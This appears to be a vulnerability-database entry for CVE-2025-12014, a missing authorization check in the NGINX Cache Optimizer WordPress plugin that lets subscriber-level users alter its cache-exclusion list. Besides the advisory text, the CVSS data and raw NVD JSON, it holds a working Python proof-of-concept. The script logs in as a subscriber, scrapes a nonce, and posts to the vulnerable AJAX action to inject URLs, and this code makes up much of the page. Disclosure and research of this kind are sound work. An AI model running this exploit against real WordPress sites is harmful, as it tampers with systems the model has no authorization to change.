Security Vulnerability Report
中文
CVE-2025-12014 CVSS 4.3 MEDIUM

CVE-2025-12014

Published: 2025-10-24 09:15:44
Last Modified: 2026-04-15 00:35:42

Description

The NGINX Cache Optimizer plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'nginxcacheoptimizer-blacklist-update' AJAX action in all versions up to, and including, 1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add URLs to the Exclude URLs From Dynamic Caching setting.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NGINX Cache Optimizer插件 <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12014 PoC - NGINX Cache Optimizer Unauthorized Options Update import requests import sys target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = 'subscriber_user' password = 'user_password' # Step 1: Login to WordPress session = requests.Session() login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') sys.exit(1) print('[+] Login successful') # Step 2: Extract nonce from admin page admin_url = f'{target_url}/wp-admin/admin.php?page=nginx-cache-optimizer' admin_page = session.get(admin_url) import re nonce_match = re.search(r'nonce"\s*:\s*"([a-zA-Z0-9]+)"', admin_page.text) if not nonce_match: # Try alternative nonce extraction nonce_match = re.search(r'ajaxnonce.*?([a-zA-Z0-9]{10})', admin_page.text) if nonce_match: nonce = nonce_match.group(1) print(f'[+] Found nonce: {nonce}') else: print('[-] Could not extract nonce, trying common values') nonce = 'common_nonce_value' # Step 3: Exploit the vulnerability exploit_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'nginxcacheoptimizer-blacklist-update', 'nonce': nonce, 'blacklist_urls': 'malicious-url.com\n/wp-admin/\n/wp-login.php' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text.lower(): print('[+] Exploitation successful - blacklist updated') print(f'[+] Malicious URLs added to exclude list') else: print('[-] Exploitation may have failed') print(f'Response: {response.text[:200]}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12014", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:43.757", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NGINX Cache Optimizer plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'nginxcacheoptimizer-blacklist-update' AJAX action in all versions up to, and including, 1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add URLs to the Exclude URLs From Dynamic Caching setting."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/nginx-cache-optimizer/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7dd18e4e-9aa6-403e-aec3-21f33d739066?source=cve", "source": "[email protected]"}]}}